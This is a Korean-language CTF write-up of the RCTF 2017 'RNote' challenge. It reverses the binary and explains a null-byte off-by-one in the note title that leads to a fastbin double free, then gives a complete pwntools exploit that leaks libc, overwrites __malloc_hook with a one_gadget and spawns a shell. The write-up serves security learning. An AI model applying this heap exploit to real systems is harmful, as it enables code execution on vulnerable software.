[RCTF 2017] - RNote - 191110
0. 근황
최근 휴가 + CCE 대회참여 때문에 포스팅을 많이 쉬게 되었다. 그러다보니 포스팅이 점점 귀찮아 져서 두달간 밀렸다...
이제 문제 푸는 것마다 포스팅 하는 것 보다는 기억에 남는 기법이나 문제들 위주로 올려야겠다.
이번 문제는 푼지 2개월 정도 지나서 놓치는 부분이 있을 수 있다...
1. Reversing


해당 바이너리는 세가지 기능을 제공한다.
1. Add new note
2. Delete a note
3. Show a note
4. Exit
1. Add new note
총 16개의 note를 유지할 수 있고 note를 추가시킬 때마다 카운트가 증가된다.
처음 입력을 받을 때 note의 size를 입력받는데 0x100를 최대로 넣을 수 있다. (large bin과 관련될 가능성 ↓)
그 후에 입력받는 title과 content가 있는데
title은 0x10 만큼의 string을 받고, content는 size만큼의 string을 받게 되는데
마지막에 title은 string자체로 (0x6020e4 + 32*index)에 저장되게 되고 그 바로 옆에 content가 저장되어 있는 malloc의 주소가 저장되게 된다.
그리고 해당 index에 flag를 켜준다.
2. Delete a note
index를 받고 index에 해당하는 note의 flag를 확인해서 켜져있으면 free를 시킨다.
free를 시킨 후에 flag를 꺼준다.
3. Show a note
index를 받고 index에 해당하는 note의 content를 출력한다.
2. Exploit
여기서 취약점은 Add new note에서 title을 넘겨받을 때 string에 null byte off_by_one이 발생한다.
따라서 title옆에 저장되어 있는 content의 주소값에 영향을 끼치게 되어 double free가 가능해진다.
게다가 여기는 edit 기능이 없으므로 malloc_hook이나 free_hook 자체에 malloc을 할당받아야 된다.
따라서 unlink와 같은 기법으로는 해결이 안되고 fastbin double free로 malloc_hook 주소 자체에 할당을 받도록 진행했다.
추가적으로 libc leak은 적당한 청크 free -> 다시 malloc (with 8byte strings) -> puts로 진행했다.
해당 문제의 libc 버전은 2.23이지만 문제풀이 환경상 2.19로 진행했다.
3. slv.py
from pwn import *
p = process('./RNote')
e = ELF('./RNote')
malloc_array = [False for i in range(0xf)]
def add_note(size,title, content):
index = -1
p.recv()
p.send('1')
sleep(0.1)
p.recv()
p.send(str(size))
sleep(0.1)
p.recv()
p.sendline(title)
sleep(0.1)
p.recv()
p.send(content)
for i in range(0, 0xf):
if malloc_array[i] == False:
malloc_array[i] = True
index = i
break
return index
def delete_note(index):
p.recv()
p.send('2')
p.recv()
p.send(str(index))
malloc_array[index] = False
return
def show_note(index):
p.recv()
p.send('3')
p.recv()
p.send(str(index))
return p.recvuntil('*')
def libc_leak():
a = add_note(200, '1', 'a')
b = add_note(200, '2', 'b')
delete_note(a)
a = add_note(200, '1', 'abcdefgh')
leak = show_note(a).split('abcdefgh')[1][:6]
libc_leak = u64(leak+'\x00\x00')
libc_base = libc_leak - 0x3c27b8
log.info('libc_base : '+ hex(libc_base))
delete_note(a)
delete_note(b)
return libc_base
def exploit():
libc_base = libc_leak()
addr_malloc_hook = libc_base + 0x3c2740
addr_free_hook = libc_base + 0x3c4a10
one_gadget = libc_base + 0xea36d
addr_fake_chunk = addr_malloc_hook - 19
a = add_note(0x70, 'a', 'a') # 0x80 (header + size) start_address: 0x...010
b = add_note(0x60, 'b', 'b') # 0x70 start_address: 0x...090
c = add_note(0x60, 'c', 'c') # 0x70 start_address: 0x...100
d = add_note(0x60, 'd'*0x10, 'd') # 0x70 start_address: 0x...180
# but Overwrite by title, So start_address: 0x...100
delete_note(c)
delete_note(b)
delete_note(d)
# c-> b-> d : fastbin(LIFO)
payload = ''
payload += p64(addr_fake_chunk) # fastbin check_size 32bit so choose near _malloc_hook
add_note(0x60, 'b', payload) # ???-> addr_fake_chunk-> c-> b (fastbin)
add_note(0x60, 'c', 'c') # ???-> addr_fake_chunk-> c (fastbin)
add_note(0x60, 'd', 'd') # ???-> addr_fake_chunk (fastbin)
payload = ''
payload += 'a'*3 # padding
payload += p64(one_gadget)
add_note(0x60, 'e', payload) # Overwrite _malloc_hook to one_gadget
p.recv()
p.send('1')
p.recv()
p.send('1')
p.interactive()
def main():
exploit()
return
if __name__ == '__main__':
main()
fastbin double free를 할 때 주의 해야되는 것은
1. fastbin 안에 넣을때 그 전에 넣은 주소와 같은 지 check 한다는 것
같은 주소를 바로 double free를 시키면 안되고 중간에 dummy chunk를 한 번 free 시켜줘야 된다.
2. fastbin에서 꺼낼때 size check를 한다는 것
size 체크할때 32bit만 확인함.
[깨달은 점]
1. 문제의 유형이 malloc으로 할당을 받아 Overwrite하는 방법과 edit으로 수정하는 방법. 두 가지로 문제유형이 다를 수도 있음.
2. fastbin에 chunk를 넣을 때 중간에 dummy chunk를 넣어줘야 되는 것.
3. fastbin에서 꺼낼때 32bit의 size check를 한다는 것